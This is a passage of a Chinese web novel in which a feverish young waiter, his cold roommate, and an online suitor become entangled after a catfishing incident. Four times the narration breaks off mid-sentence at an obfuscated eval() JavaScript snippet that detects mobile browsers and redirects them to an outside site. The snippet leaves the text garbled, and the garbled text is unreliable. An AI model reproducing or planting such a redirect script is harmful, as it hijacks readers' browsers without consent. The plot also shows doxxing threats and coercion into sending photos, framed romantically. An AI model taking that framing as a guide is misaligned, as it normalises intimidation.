彭露没做错事丝毫不心虚,冲着司谨笑道:“司谨,你来的正好,我刚才听刘有意说跟你好像有点误会,要不你们就这么在大家面前说说吧,把误会解开,也免得刘哥心里头一直藏着芥蒂,回头还得费劲再跟别人吐槽你,是不是?” 她语气中带着笑意,可是字字句句听起来却都像是在针对刘有意,惹得后者的脸色尤为难看。 司谨其实不太想要将场面闹得这么难看,可是对上了彭露坚定的眼眸,他心底微动,也意识到了对方是在为自己出头。 他小小舒了口气,转向刘有意,“刘哥,你有什么想要和我说的吗?” 刘有意刚才一直没说话,此时尴尬笑了声,说:“我是觉得你出去送了一餐,回来以后脸色就不好看,以为你不高兴我的安排呢,还想着下次就不麻烦你了。” “我没有因为这件事生气。”司谨没有顺着他一起笑,而是认真看过去,“我心情的确不好,但只是因为自己的私事。” 旁边两人听后开始打圆场。 “原来是这样,我就说小司不是这种人。” “就是,说开了就行,刘哥也是不清楚。” 彭露冷哼一声:“不清楚就能随便说人坏话吗?回头要是传出去给别人造成麻烦了,难道你负全责?” 她越是说,刘有意的表情就越僵,到最后被逼无奈似的,只能朝着司谨低下头:“小司,这件事情是刘哥的错,哥跟你道歉行吗?” “没关系。”司谨摇摇头,没有打算和他多计较。 等换好衣服离开餐厅,后面的彭露一出门就开始吐槽:“还刘哥,谁认他当哥了似的,多打了两年工总觉得自己高人一等。” 司谨忍不住笑笑,说:“谢谢你。” “你跟我道什么谢,之前你帮我的可多去了。” 彭露回家也是坐地铁,现在搬了家他们便是同一条线。 “这天是越来越冷了。”彭露把外套拉链扯上去,扭头看见司谨还穿着单薄的棉衣,有些担心,“司谨,你该加衣服了,这几天大幅度降温,别感冒了。” 司谨抿抿嘴唇,点了头。 “好,你也是。” 彭露住的地方比他近,所以在前几站就下了车,司谨独自一人走出地铁站,便被外头的寒风吹得脸生疼。 海城的天气就是说变就变,时常上午还是穿着短袖都觉得热,下午就开始刮风刺骨。 掰着手指头算了算自己的时间,他明天还得去一粟兼职,下午正好可以去买衣服。 心事重重回到家,一开门却听见里头传来些许低低的喘息,他脚步微顿,换好鞋犹豫着朝着客厅看一眼,却见一道高大凌厉的背影映入眼帘。 燕绥安赤着精悍强壮的上身,只穿着一条宽松的运动裤,此时正微微俯着身,手持一只杠铃做单臂划船,手臂肌肉因为用力鼓起,小麦色的皮肤上青筋暴起,宽阔结实的肩膀同下方劲瘦的腰都绷紧,显得背后肌肉轮廓格外漂亮。 因为屋内开了暖气,他身上还泛起些细碎汗意。 司谨一下子怔住,下意识移开了目光,可紧接着又想到他们都是男的,好像也没有什么不好意思。 他回想着从前在学校见到室友之间的交谈,这种时候是不是应该夸一夸对方的肌肉,而且如果是夸燕绥安的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019024|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他甚至不需要多想,因为燕绥安的身材真的很好。 大脑飞速运转思考着话术,却忽然听见客厅传来冰冷的声音。 “看够了吗?” 司谨回过神,发现燕绥安不知何时已经结束了运动,此时将杠铃放在一边,狭长深邃的眼睛却死死盯着他,看着像是生气了。 “抱歉。”司谨无措,只能道歉,“我刚回来。” 他感觉自己说了句废话。 燕绥安冷笑一声,用初次见面时那种打量的眼神,又上上下下将他巡视了一遍。 司谨很不习惯这样的注视,手指下意识揪住衣摆,局促到羞愧。 即便已经不是从前的自己了,可这种时候他的脑海中却还是会闪过那些嘲笑。 “司谨也太土了,天天穿女孩子的旧衣服哈哈哈哈。” “听说都是偷他姐姐的衣服穿,他姐姐就在我们学校读书,难道司谨也是女的?” “让他脱掉裤子看看不就知道了!” “……” 脸色越发苍白,有一瞬间他甚至觉得自己又回到了被一群人审视嘲笑的过往。 “你不冷吗?” 男人的嗓声有些哑,语气中带着不解。 司谨愣怔两秒,诚实点点头:“有一点,降温了,你要是出门要多穿一点。” 燕绥安:“……” 司谨看见面前人沉默了一会儿,然后表情很冷地笑了一下。 “你自己穿这么点,还来教训别人。” “不是教训。”司谨抿住嘴唇。 他不知道该说什么,觉得燕绥安的态度可能还是讨厌自己,于是说了句回房间休息,便快步回到了房间。 房间里没有开暖气,他开门时凉意窜来,莫名觉得喉咙有些痒,止不住发出一声轻咳。 门轻轻关上,客厅内伫立的人脸色越发古怪,没了锻炼的心情,索性点开手机,重新打开了粉色图标的交友软件。 列表中唯一的聊天好友头像正亮着绿灯,未读消息近十条,点开以后满屏都是道歉。 宝宝:【真的对不起,你想要什么我补偿你可以吗?】 宝宝:【看见消息麻烦回复,这件事的确是我的错,虽然不知道你是从哪里知道我的信息,但我希望这件事可以好好协商解决,不要闹这么难看。】 宝宝:【我向你道歉,真的对不起,我不该用假照片骗你……】 宝宝:【你有什么要求可以提,只要我能做到】 宝宝:【在吗?】 亲手设置上去的备注在此时知晓对方欺骗后变得十足碍眼,燕绥安眸中不由得掠过寒意。 对方似乎蹲守着他上线,一见到消息变成已读,便又开始敲他的小窗。 长这么大,燕绥安还没被人戏弄成这样过,想到自己那些甜言蜜语都说给了另一个人听,心中便不由得升起一阵恶寒。 辱骂威胁的话正要出口,耳边却响起了房间内传出的一阵沉闷咳嗽声。 深吸口气,看着消息叮咚作响不断弹出,燕绥安抬手打字。 5. 第 5 章 晚上半梦半醒,司谨便觉得喉咙不太舒服,第二天一早睁眼,只觉得浑身烫的不行,喉咙鼻腔也像是都被堵住了,让他连眼睛都不太能睁开。 后知后觉明白自己是发热了,他不禁懊恼。 原本还想挺一挺的,没想到这么快就生病了,早知道就快点去买衣服。 时间已经不早,他答应了领班今天要去工作,所以也顾不得难受,爬起来带上感冒药就出门去了。 身上套了厚重的外套围巾,挤着地铁一路到了餐厅周围,他简单吃过在门口买的白粥,草草将药片吞了,便换上衣服开始工作。 今天的天气不错,到店的客人很多,他依旧负责大厅一侧,相较于昨天忙碌许多。 在这样的强度下,顶着昏昏沉沉的脑袋就免不了出错。 转身撞上酒杯的时候司谨都还没反应过来,就听见边上传来惊叫。 “你怎么干活的?” 即使边上的服务生第一时间去扶酒杯,酒液还是洒在了男人身侧的座椅上。 看着面含愠色的客人,司谨脸色一白,连忙低头致歉:“不好意思先生。” 男人将隔壁位置扶手上搭着的西装外套拿起,看见袖口上沾染的酒液,脸色便沉了下去,怒视着司谨。 “你看这怎么处理?” 那衣服看起来就不便宜,司谨的心微微悬起,还未来得及开口,便被一只手拨到了后面。 领班程姐站在他面前挡住客人,露出了恰到好处的礼貌笑容:“这位先生实在不好意思,这的确是我们服务生经验不足,您可以给我们留个联系方式,这件衣服您可以送去干洗,或者由我们送相熟的干洗店,之后和我们单独商议洗衣的费用。” 那男人面上的不悦依然没有消失,说:“就这样?” 领班继续道:“您今日的消费,我会立马去为您争取一个优惠的折扣,再赠送您两张一粟的线上外送优惠券,您之后可以在小程序上使用,最后我再代替我们的服务生和你真诚道歉。” 司谨也不是那么蠢的人,听见这些便也立马上前,上前和程姐一同深深鞠躬。 “先生,实在抱歉,希望不会打扰您用餐的心情。” 周围的不少客人注意力都被吸引了过来,此时男人脸上也有些挂不住,听见对面的女人劝说,便也不再计较。 原本司谨还打算回到工作的地方继续站立,却被程姐给喊去了休息室。 “小司,你身体不舒服的话还是去医院看看吧,等医生下班就不方便了。”程姐很含蓄。 司谨微怔,用手背贴了贴额头,触到滚烫的一片。 “抱歉程姐,我给餐厅添麻烦了。” 程姐倒是没有生气,说:“没事,只是洗衣费可能需要从你的工资里扣除,还希望你不要有意见。” “这本来就是我的错。”司谨点点头,明白了她的意思,“那我就先回去了,等下周末我好了再来。” 外头还有人在唤,程姐利落冲他一点头:“好好休息。” 换好衣服,司谨从后门离开了餐厅,但纠结片刻还是没有直接去医院,而是先回了家。 从前发烧都是挺一晚上就好了,今天似乎也并没有多严重,正好不用兼职,就回去休息吧。 顶着沉重的脑袋回了家,今天屋子里还是一片安静,室友的房门难得没有关上,微微掩着能看见些许主卧中的模样,可他此时却没有心情去探究。 换好睡衣躺在床上,他只觉一阵天旋地转,那种难受感让他完全睡不着。 喉咙痛得不行,他方才进屋忘记倒水,这会儿只能披上外套跑出去倒了杯热水回房。 脑子不清醒,可身体带来的不适却叫他不得不重新爬起来去找毛巾打湿,走进走出折腾许久,他以为家里没有人,便也没再克制不舒服的喉咙,止不住断断续续咳嗽。 可谁知等他睡了不到一小时再次醒来,脑袋却变得更加昏沉,额上的薄毛巾微干,他只得艰难爬起来去浴室重新打湿,可刚出门,就听见对面房间里发出沉闷急促的脚步声。 砰的一声,被拉开的房门没有任何遮挡,重重撞在了墙上。 燕绥安从房间里出来,居高临下看着他,眉头紧紧蹙着,平时看着就不好招惹的凌厉面容因为他的表情显得更加难以接近。 “你生病了?” 司谨的呼吸有些重,看见他站在面前,连忙后退半步,小声说:“有点发烧。” 何止是有点,他丝毫没意识到自己整张脸都染着绯红,连带着双眼皮都变得更加明显。 “头上放壶水都能烧开了。”燕绥安没好气,“在这走来走去半天,也不准备去医院看看?” 司谨舔了一下干燥的嘴唇,莫名觉得自己好像被训斥了。 “我睡一觉就可以了。” 燕绥安却没理会,自顾自朝着他走来,到了他房间门口表情变得更臭。 屋内传出的气流一片冰冷,和他房间完全是两个极端。 “这些天这么冷,你连空调都没开?” 司谨头疼得厉害,这会儿已经有些听不懂他在说什么,但还是能够感知到他的语气。 “最近海城流感多严重,你心里是没数吗?整天穿着薄棉衣到处瞎跑,周末不去添置几件厚衣服穿,感冒了也不去医院看。”燕绥安忍无可忍,“还在这愣着做什么?赶紧去医院!” 他声音本就偏低,此时含着怒意,吓得司谨后背微颤,下意识抬头看向他,扭身进了房间。 这还是他第一次没有任何回话,倒是让燕绥安不由得愣住。 但他无暇顾及更多,转身回了房间换衣服。 可是等收拾完出来,却发觉对面的房门已经被关上了。 他盯着房间门看了两秒,忍不住气笑。 什么意思?还不领情? 但他并没让司谨在里头自生自灭,而是抬手重重敲门。 里头始终没有回应。 该不会是晕了吧。 想到这点,燕绥安变了脸色,直接摁住把手将门打开。 微凉的空气迎面而来,虚虚覆在他手背和面庞,而屋内空空如也,哪还有什么人。 燕绥安:“……” - 临近下班,医院人还是很多,好在发热门诊并没多少人。 没多久司谨就去了输液室等候,而在他扎上针以后,就在附近准备工作的宋晓西也匆匆赶到。 “怎么回事啊?流感吗?” 宋晓西戴着厚厚的口罩,身上裹着羽绒服,但司谨还是能从他发丝和衣领里嗅出浓郁的香水和酒气。 “就是普通感冒发烧,喉咙发炎。”司谨的声音有点干哑,小脸白里透着疲惫的烧红,显得有些可怜。 宋晓西在他身边坐下,心疼道:“早让你买衣服,肯定是上下班路上冻着了,我刚从酒吧排练完回来,晚点还得回去上班,我一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019025|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去隔壁商场给你买晚饭,你想吃什么?” 司谨靠在走廊座位上,这会儿没有半点食欲,只觉得头晕目眩,便只道:“我想早一点打完针回去睡觉。” 明天一大早他还得去上班。 宋晓西脸一垮,说:“你不吃我可硬塞了,打针不能空腹知不知道?” “那你随便买一点吧,我真的吃不下太多。” 司谨实在难受,索性闭上了眼睛。 宋晓西叹口气起身,算着自己的时间朝着外头走去,可刚穿过昂长的走廊要出门,就看见了一道黑色的高大身影从门诊走来。 那人大冬天穿着一件夹绒的黑色冲锋衣,身形看着格外凌厉漂亮,微长的头发蓬松垂下在两颊,口罩上方露出的一双眼深邃狭长,给人一种薄情的错觉。 宋晓西很早就意识到自己的性取向,所以这会儿也毫不避讳盯着看了两秒,直到对方朝着他走来,才回过神。 “司谨在吊针吗?” “在。”宋晓西下意识回答,接着就怔住了,“你是?” “我是他室友。”男人将手上拎着的东西递给他,“在外面打包的晚餐,你帮我给他。” 宋晓西一脸懵逼接过,还想说什么,却见人已经转身走了。 他稀里糊涂拎着回去,看见司谨正阖着眼靠在座椅上,瘦削的下巴抵进围巾里,遮住了漂亮的鼻尖,这会儿微微皱着眉,看起来很不舒服。 “来,先吃点东西。” 宋晓西叫醒他,一边拆包装一边将刚才发生的事情告诉他。 司谨睁开眼,听完后还是懵然的。 燕绥安给他送晚餐? 怎么听都不太可能,在家里不是还很嫌弃他吗? “他就是这么说的,给完我就走了。”宋晓西也觉得很奇怪,“不过你室友长得好帅啊,你怎么都没跟我说过?” 他加上这一句,司谨就能确定送晚餐的人就是燕绥安了。 “哇。” 惊呼声牵回了他的思绪。 燕绥安送来的是一碗鸡汤香菇面,一打开香气浓郁,竟然让他有些馋了。 “还有这个,他还挺细心的。”宋晓西又从小袋子里找出了两盒退热贴,当即就拆了一片给司谨贴上。 冰凉柔软的退烧贴粘在额头上,的确有些许减轻难受的作用。 司谨坐直身,在宋晓西的照顾下,竟然也将面吃了个大半。 宋晓西将垃圾收拾完丢出去,又陪他坐了好一会儿,看见是最后一瓶才放心下来。 “还有小半瓶,一会儿打车回去,别自己折腾,回去以后多喝点水吃完药早点睡觉,明天要是还不舒服就请假算了。” 司谨这会儿也不怎么困了,虽然眼睛烧的还是有些睁不开,但脑子还算清醒。 只是宋晓西清楚,他只是左耳朵进右耳朵出,明天该上班还是得上班,所以也没有再多说什么。 况且……他垂眼抓紧掌心的手机,抿紧嘴唇,表情逐渐变得不自然。 “我该去上班了。” 司谨抬眼看他,“去吧,我打完针就回去睡觉,不用担心。” “嗯。”宋晓西动作缓慢起身,克制了很久,最后还是重新坐了回去。 司谨困惑看向他:“怎么了?” 宋晓西紧紧抓着手机,转头看向那张憔悴的小脸,最终还是艰难开口:“司谨,我要向你道歉,有件事情……还需要麻烦你一下。” 6. 第 6 章 五分钟后,宋晓西总算说完,惭愧低下头。 “这件事情是我做错了,那时候我真的没想太多,就觉得他人挺好的,而且他说无论我是什么样他都会喜欢,所以我就跟他坦白了,结果他的反应特别大,还不知道从哪里弄到了我的个人信息,现在我也没有办法,只能求助你了。” 司谨大脑运转速度很慢,好一会儿才接收完他话语中的所有意思,一时间也懵住了。 “我跟他说了别的解决办法,可是他什么都不要,就说要跟你聊天。”宋晓西无比自责,“我猜他可能就是不甘心吧,毕竟被人骗的确挺让人生气的,应该聊不了多久就会失去兴趣。” 他越是说,就越是觉得自己的行为可耻,止不住在心底唾弃那人的较真,可又更加悔恨当初抱着侥幸的心态去骗人。 最重要的是,司谨是他最重视的朋友,如果不是逼不得已,他是不会在对方生病的时候提出这么无理要求的,况且……他非常清楚司谨的性格,如果是别人向他提出要求,只要不是特别过分,他是不会拒绝的。 从前他最是心疼司谨这一点,可现在自己却也成了那个欺负他的人之一。 宋晓西心中难受无比,而司谨惊讶过后也恢复了平静,小声安慰他:“没事的,只是聊几句天而已,那是不是我跟他聊天,他就不会发那些东西了?” 听见他还在为自己着想,宋晓西的心更像是被刀剜了肉,胸膛中蔓延开丝丝缕缕的疼痛感。 不过一会儿,两人脑袋凑到一起开始查看宋晓西手机上的交友软件。 软件名字叫做访心,蓝粉色的app图标很小清新,页面也都很精致,司谨细长的手指在屏幕上滑动,将聊天记录看了个大概,还是有些迷糊。 “你们都没有见过,为什么会聊得这么开心?” 他看得出来,在聊天中一直是宋晓西主动,可是他好像也没有看出对方有什么特殊的。 宋晓西原本就臊得慌,一听他的话,不好意思点开了对方的主页,然后放大头像。 “你看,他说这是他的真实自拍。” 头像是赤裸的上半身,浴袍敞开在两侧,露出流畅深陷的腹肌曲线,劲窄的腰身饱含力量感,上面还拍到了微鼓起的胸肌,身材的确是很好。 宋晓西小声:“这谁能不喜欢啊。” 吊了水,头上还贴着退热贴,司谨恢复了些许,这会儿也有心思开他玩笑了:“那现在还喜欢吗?” 宋晓西翻了个大大的白眼:“喜欢什么啊?我希望他能快点消失在我世界里,最好早点忘了我这个人。” 这样就不会受对方威胁了,虽然不确定那人真的会把他做的这些事连带他的个人信息曝光出去,但自己的把柄被握在别人手中的感觉还是让人很不安。 司谨可以理解,所以大致看完就点了头。 “那我下载一个,然后登录这个账号就可以了吗?” “对。” 知道他头晕,宋晓西自己也不好意思,便坐在边上给他下载软件登录账号。 最开始这个账号就是用司谨手机号登录的,所以现在也不需要修改什么,宋晓西将自己手机里的访心删除。 “以后再也不玩了!” 将这件事情嘱托给了他,宋晓西也顾不得太多,卡着赶上班的时间急匆匆离开了。 司谨抬头看见最后一瓶药水还剩下一小半,便趁着这时间点开了访心,看见列表里置顶的“随便”好友正显示在线,忽然间有些紧张。 宋晓西说的网恋对象就是这人。 视线扫过那极具冲击力的腹肌照,他莫名觉得那照片的背景看着有些眼熟,可一时间又分不清是哪里,便主动给对方发去了消息。 用户宝贝:【你好】 宋晓西设置的名字有些奇怪,他盯着看了一会儿,还是将其修改了。 访心有一键生成用户名的功能,他在几个名字里随便选择了一个,修改完成以后退出去,就受到了对方的消息。 随便:【?】 北极生活的小熊猫:【我是照片主人,我为朋友的欺骗向你道歉,你可不可以不要报复他?他只是一时间昏了头,没有其他恶意的。】 司谨犹豫着发出一条消息,而对面几乎是秒回。 随便:【你说是就是,我怎么信?】 随便:【证明完身份再聊这些】 司谨发昏的大脑宕机了好一会儿,才迟钝明白过来对方的目的。 他退出软件将相机调了出来,切换到前置对着屏幕中烧红另一张脸的自己拍了照片,然后直接发给了随便。 北极生活的小熊猫:【这样可以吗?是我现拍的】 这次对面足足沉默了一分钟,或许是因为他前面一直秒回,所以这几十秒显得格外漫长。 司谨正隐隐不安时,就看见屏幕上弹出了新消息。 随便:【宝贝!】 随便:【怎么在医院,生病了吗?】 随便:【你穿的太少了,我给你买新衣服】 随便:【你也是海城人吧】 手机发出连续不断的叮咚声,让司谨不由得愕然睁大眼睛。 这人的态度……怎么一会一个样啊? 他长长呼出一口气,将小半张脸埋进柔软的围巾里,单手打字有些缓慢。 北极生活的小熊猫:【我发烧了来打针,不用了,谢谢你的好意,我不是海城人】 随便:【你这样让我很心疼】 司谨一怔,看见这条消息以后只觉得浑身都不自在。 他虽然没有恋爱经验,但是也知道这种话都是随便说着玩的,难怪宋晓西都会这么喜欢他,原来对面这人是个这么会花言巧语的人吗? 正在思考着如何结束对话,抬头便发觉药水已经打光了,他连忙摁亮了呼叫铃,关上手机等待护士出来给自己拔针。 离开医院时外面天色早已黑了,他走出门诊大楼正准备打辆车,可尚未推出的界面却显示出了几条新消息。 随便:【为什么不回复消息?】 随便:【看见你这样我真难受,恨不得把你绑起来,藏在我的家里,这样我就能好好照顾你了】 随便:【就这么排斥我吗?我只是想给你买新衣服,如果你不愿意的话,我只能让你朋友在网上出名了,他叫宋晓西是吗?我知道他在哪里工作】 随便:【我生气了什么都能做出来】 司谨看完这些消息,瞬间感觉浑身血液都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019026|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷了个彻底。 北极生活的小熊猫:【你不要这样,我刚才只是在拔针,现在准备回家了才看手机】 北极生活的小熊猫:【我不是讨厌你,只是不想你浪费钱,我们本来就不认识,你为什么要给我买衣服】 司谨心中既委屈又生气,可偏偏他也说不出什么重话,害怕对方一生气就真的那样做了。 随便:【那你给我一个地址,代收点也可以,我只是不想你再感冒,海城的冬天很冷】 随便:【听话宝宝,生病很难受】 司谨没办法,只能把公司附近的一个快递代收点地址发给了他。 原本以为对方还会缠着他再多说些什么,可没想到随便结束了对话,说自己有事离开,晚一些再聊。 发完结束的消息,他长舒一口气。 正准备再点开打车软件,面前却忽然出现了两束车灯,那深黑色的越野车在他面前掠过停下,接着车灯闪动两下。 这是…… 副驾驶车窗降下,露出了燕绥安那张英俊帅气的面容。 “上车。” 司谨迷迷糊糊跟着上去,坐稳以后等车开出去才反应过来,受宠若惊道:“你怎么在这里?” 燕绥安没有看他,只说:“正好路过。” 想到他今天送的晚餐,司谨有些感动:“谢谢你给我送的晚饭和退热贴。” “小事。” 司谨小心翼翼用余光去打量他的侧脸,忍不住在心底唾弃自己。 在家里的时候,燕绥安那样说他,他还以为是对方不耐烦了,害怕自己传染给他,没想到燕绥安之后就来给他送晚饭了。 “多少钱啊,我转给你。” 司谨说完,自顾自点开了手机,准备给燕绥安转账。 他没有察觉到,自己说完这话以后,身边人原本轻松的表情一下子又沉了下去。 一只手忽然伸了过来,抓着他的手机咔嚓一声摁下了灭屏键。 “我不缺这点钱,车上别玩手机,发着烧一会吐了。” “……” 司谨隐约察觉到了他的情绪变化,有点不解,但还是乖乖照做。 路上昏沉沉,等到了以后被燕绥安推醒,司谨猛地坐直身体,一边道谢一边推门下去。 等跟着燕绥安进了电梯,他清醒了些,还是忍不住说:“那碗面应该不便宜吧,我还是把钱转给你比较合适。” 燕绥安忍无可忍,说:“你有这钱不如留着给自己开暖气,挨冻上瘾吗?” 司谨愣住,看见电梯门打开,愣愣跟着他出去。 只是等进门回到了自己的房间,暖意从门缝中窜出,他才发觉空调的暖风不知何时被打开了。 关上门,他听着空调发出的呼呼声响,一时间只觉压力山大。 换好衣服睡觉前,随便的消息也紧跟着到了。 随便:【晚安,宝贝】 北极生活的小熊猫:【晚安】 难得在这样温暖的环境中入睡,青年额头上还贴着蓝白色的退烧贴,卷着被子逐渐入睡时,微微蹙紧的眉心却逐渐放松了。 床头柜的手机维持静音,深夜中却屡屡亮起,是无数个快递发出的信息提示。 7. 第 7 章 一觉醒来,司谨的烧退了差不多,等看见手机上的消息,简直觉得自己是在做梦。 他自己什么都没有买,可是快递信息却显示他有三十五个快递正在路上,而且有几个今天就可以到。 这些是谁的手笔并不难猜,只是他想不通,随便为什么要给他买这么多东西。 今天起晚了,他看完手机就着急起床收拾自己,没来得及去找随便说这件事。 临出门从房间拎着包走出,听见主卧传来浴室门打开的声音,他脚步微顿,猜测是燕绥安起床了,莫名就加快了脚步,生怕跟那人撞上。 说来也奇怪,明明燕绥安给他送晚餐还接他回家,可是他却总觉得跟这个室友相处不太和睦,燕绥安的心情总是阴晴不定,变化无常。 去小区门口买了一份饭团,他吃完上了地铁,掏出手机看时间却发现快递从三十五个涨到了四十多个。 随便又给他买了什么? 顾不得太多,他连忙点开了访心,看见随便的聊天框后面有几十条未读消息。 除去简单的问好,全是图片。 随便:【你穿白色应该会很漂亮】 随便:【这件也不错,你喜欢什么造型的帽子?这样的好不好?】 随便:【到货以后可以穿上拍张照片给我看吗?】 随便:【这么瘦,腿又长,裤子都不好买,好想带宝贝去定制】 随便:【想到你生病就很烦,多吃一点,照顾好自己,缺什么尽管和我说】 司谨:“……” 这些消息从昨晚发到了凌晨两点,最新的一条是一小时前,随便和他说早安。 随便:【宝贝在线,为什么不回复我?】 叮咚一声,新消息又弹了出来。 司谨愣怔,简直要觉得随便是住在访心了,这么快就观察到了他的状态成了在线。 北极生活的小熊猫:【你不要给我买了,太多了】 北极生活的小熊猫:【我穿不了这么多,可不可以退掉?买一件就可以】 随便:【不够,我想塞满你的衣柜】 他发消息的间隙,司谨这边又显示有个快递发货。 他有些受不了了,着急低下头打字。 北极生活的小熊猫:【我真的不需要这么多,你这样很浪费钱】 随便:【你不接受我的好意吗?还是你单纯讨厌我给你买的东西?】 司谨不明白他为什么总是那样想。 北极生活的小熊猫:【不是这样,你不要买了】 北极生活的小熊猫:【你再这样我就……】 打字到一半,司谨忽然卡壳。 他不知道用什么才能威胁到对方,可是这么多东西真的让他压力很大,最后只能硬着头皮把消息发出去。 【你再这样,等衣服收到我就不给你拍照了。】 奇迹般的,随便居然没有再强求什么。 随便:【好吧,那我不买了,你一定要给我发照片,如果不合身就推掉】 随便:【每一套都要拍】 司谨无端红了脸。 【知道了】 事情似乎随着他预料外的方向发展,可是他好像也找不到改变的方法。 周一工作总是格外多,上午的编辑组会议气氛有些凝重。 司谨忙碌一天,等到下班扫了一眼到货的快递,便直奔代收点。 随便给他买的东西实在太多了,今天就到了六七件快递,他害怕自己囤两天就不好拿了。 好不容易带着东西回到家里,他在玄关将外包装拆了丢掉,这才抱着回了自己的房间里。 室友的房间门紧闭着,里面也没有传出任何声音,像是没有人在,这让司谨松了口气。 衣服拆完,他有些苦恼地看着那几件明显价格不菲的大衣羽绒服,受宠若惊的同时也感到不理解。 为什么随便会给他买这么贵重的东西?难道就单纯因为那张照片? 宋晓西给他拍的照片是周末去公园散步时随便记录下的,他这会儿点开倒是没觉得有哪里特别,身上穿的衣服很简单朴素,头发上打着小卷,抓着手机看向镜头的样子还有点傻,明显是没有反应过来。 因为镜头晃动,他的脸上甚至有淡淡的残影,甚至算不上是好看。 可还没等他多想,随便就像是长了眼睛似的,在访心上给他发来了新消息。 随便:【宝贝,收到衣服了吗?】 随便:【想看你穿那件米白色的羊绒毛衣】 司谨找到那件毛衣,触手柔软温暖,和他穿的那些完全是不同的感觉。 纠结片刻,他还是乖乖扯下外套和针织毛衣,把那件新毛衣给套上了。 穿上很轻盈,也很暖和。 想到要给一个不认识的人发照片,他心底有些不好意思,但想到这是自己承诺过的事情,便还是强忍着尴尬,将手机拿起对准自己的上半身,拍了一张照片。 没有细看,他直接把照片发过去。 北极生活的小熊猫:【谢谢你,毛衣很暖,也很合身】 随便:【宝贝好看】 随便:【好想看看宝贝的脸】 对方说的话总是那么直白,司谨的脸微微发烫,情不自禁点开了刚才拍的照片。 图片只露出了一截白皙的脖颈,从上往下的视角能够窥见加绒卫裤下的毛绒拖鞋,熊猫头造型,是他先前在直播间里面抢到的。 随便:【宝贝应该收到了一整套,把裤子和羽绒服搭配起来穿一套看看吧】 不知是不是司谨的错觉,随便这会儿显得很温柔,但又带着一丝莫名的诱导,让他无法拒绝。 他找到随便说的那两件衣服穿上,等将手机支好拍完,才发现这一套穿上的确很好看,而且非常合身。 照片发过去,果然又得到了随便的称赞。 那些丝毫不加掩饰的欣赏和赞美让司谨感到局促,他不敢多看,将身上的衣服换下来,然后转头去看边上的其他衣服,那种如影随形的压力又窜上心头。 随便:【宝贝,再试试其他的】 北极生活的小熊猫:【其他的我刚才试过了,都穿不了,我明天带回去退回吧】 北极生活的小熊猫:【这套足够我穿了】 司谨大着胆子打完这些话,希望随便能够领悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019027|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他的意思。 对方的头像微微闪动,泛着一层波光效果。 昨天宋晓西和他简单讲解了访心的软件细节,说只要对方头像上有这个标识,就证明对方的界面在聊天框中。 好半天,随便总算发来了消息。 随便:【不行】 很果断的拒绝,司谨虽然早就料到会是这样,但还是不禁失望。 犹豫片刻还是决定再试着说服一下。 北极生活的小熊猫:【可是真的不需要这么多,而且我现在是租房子,之后如果搬家,要带的东西就更多了,很麻烦的。】 随便:【你要搬家?】 这次又是秒回。 司谨垂下眼眸,正想说不是,可是回想起室友,心里头又止不住泛起了惆怅。 他总觉得燕绥安这个人很奇怪,跟他完全不是一个世界的人,而且……他们看着也不像是能好好相处的。 北极生活的小熊猫:【暂时不搬,但以后肯定会搬走的】 他发完这句,接下去的所以还没打完,就再次被随便发来的消息给吓了一大跳。 随便:【我给你买】 买什么? 司谨一怔,第一反应就是买房子,可很快又觉得是自己想错了。 但结合随便的做法,他细细一想,居然觉得对方可能真的是这个意思。 北极生活的小熊猫:【你不要总是说这种话,我们根本就不认识,你这样让我觉得压力很大】 随便:【如果你想的话,我可以马上来海城和你见面,你知道我有多喜欢你】 虽然只是和随便聊了不到一天,可司谨却觉得他好像已经快要摸清楚了随便的性格,这样近乎告白的话,叫他止不住的心跳加速,可却并不是因为心动,而是紧张和不安。 明明没有见过,也没有和他说过话,就只是因为一张照片就表现得这么喜欢他,不过是花言巧语罢了。 难怪经验丰富的宋晓西都会被他给迷惑,原来随便就是个这么随便的人,难怪要起这样的名字。 司谨心底腹诽,但也不敢说给对方听,毕竟他现在还肩负重任。 